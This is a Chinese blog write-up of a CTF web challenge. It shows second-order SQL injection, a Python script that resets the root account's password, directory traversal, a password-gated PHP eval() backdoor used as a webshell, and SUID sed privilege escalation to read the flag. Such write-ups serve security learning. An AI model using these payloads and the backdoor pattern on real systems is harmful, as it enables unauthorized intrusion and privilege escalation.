[湖湘杯 2021 final]Penetratable-----记suid提权

21 篇文章 0 订阅

打开网页可以看到是一个登录界面,这里可以先尝试着进行目录扫描看看有没有信息泄露

 使用kali自带的dirb

 可以看到有目录泄露,经过读取有static里可以看到有用信息其他的都说php文件读取后没有回显

 经过查看发现只有req.js文件中是一些有关登录注册和修改密码的子函数源码

到这又回到开始的登录界面,既然有注册就可以考虑二次注入

 经过尝试,注册admin"#可以闭合造成二次注入

 

 登进admin"#就可以修改admin的密码了

将密码修改为123并登录admin

登录后暂时没有发现什么有用的信息

一开始说的i am root 所以应该是要登录root用户

但是用同样的方式发现不能对root进行修改密码导致不能登录root

我们对一开始修改密码进行抓包

回到开始时发现的子函数源码中

 这里只是对user自身修改密码,而下方有注释掉的代码

 这很可能就是修改admin和root密码的发包形式

发现url是/?c=admin&m=updatePass

于是可以根据这个发包对里面的data改写成root的,这要登录在admin下进行修改,因为root没有权限哪只能是admin有

通过别人的脚本进行数据包的提交

import base64
from hashlib import md5
import requests
url1="http://node4.anna.nssctf.cn:28076/?c=app&m=login"
name=base64.b64encode('admin'.encode('utf-8')).decode()
password = md5(b'123').hexdigest()
pass2=md5(b'root').hexdigest()
url2="http://node4.anna.nssctf.cn:28076?c=admin&m=updatePass"
name2=base64.b64encode('root'.encode('utf-8')).decode()
sess=requests.session()
res1=sess.post(url=url1,data={"name":name,"pass":password});
print(res1.text)
res2=sess.post(url=url2,data={"name":name2,
                              "newPass":pass2,
                              "oldPass":password,
                              "saying":"TIz"})
print(res2.text)

 这样意思是在admin下修改root的密码,这里修改为root

 登录root

 可以下载文件,抓包

 尝试发现可以目录遍历

 回到前面的的目录扫描有phpinfo.php文件可以尝试下载

而phpinfo.php是页面信息是在var/www/html目录下的

<?php 
if(md5(@$_GET['pass_31d5df001717'])==='3fde6bb0541387e4ebdadf7c2ff31123'){@eval($_GET['cc']);} 
// hint: Checker will not detect the existence of phpinfo.php, please delete the file when fixing the vulnerability.
?>

发现源码且存在eval() ! 

先对参数进行md5强比较,将md5拿去解码得1q2w3e

 phpinfo.php?pass_31d5df001717=1q2w3e&cc=ls

 

发现报错应该是没有执行命令的权限,尝试通过蚁剑连接开启虚拟终端查看 

 phpinfo.php?pass_31d5df001717=1q2w3e&cc=eval($_POST['a']);

 通过

find / -perm -u=s -type f 2>/dev/null

查看是否存在suid权限的命令

 这里发现有sed命令

sed命令来自英文词组“stream editor”的缩写,其功能是用于利用语法/脚本对文本文件进行批量的编辑操作。

语法格式:sed 参数 文件名

 利用sed读取flag

sed '1p' /flag#读取该文件的看第一行内容

 更多sed命令可参考:

sed命令 – 批量编辑文本文件 – Linux命令大全(手册) (linuxcool.com)

总结:

1.二次注入和目录扫描

2.目录遍历查找文件

3.suid提权从而使用有权命令实现文件读取


 本题复现参考:

(1条消息) [湖湘杯 2021 final]Penetratable_v2ish1yan的博客-CSDN博客

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Sharpery

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值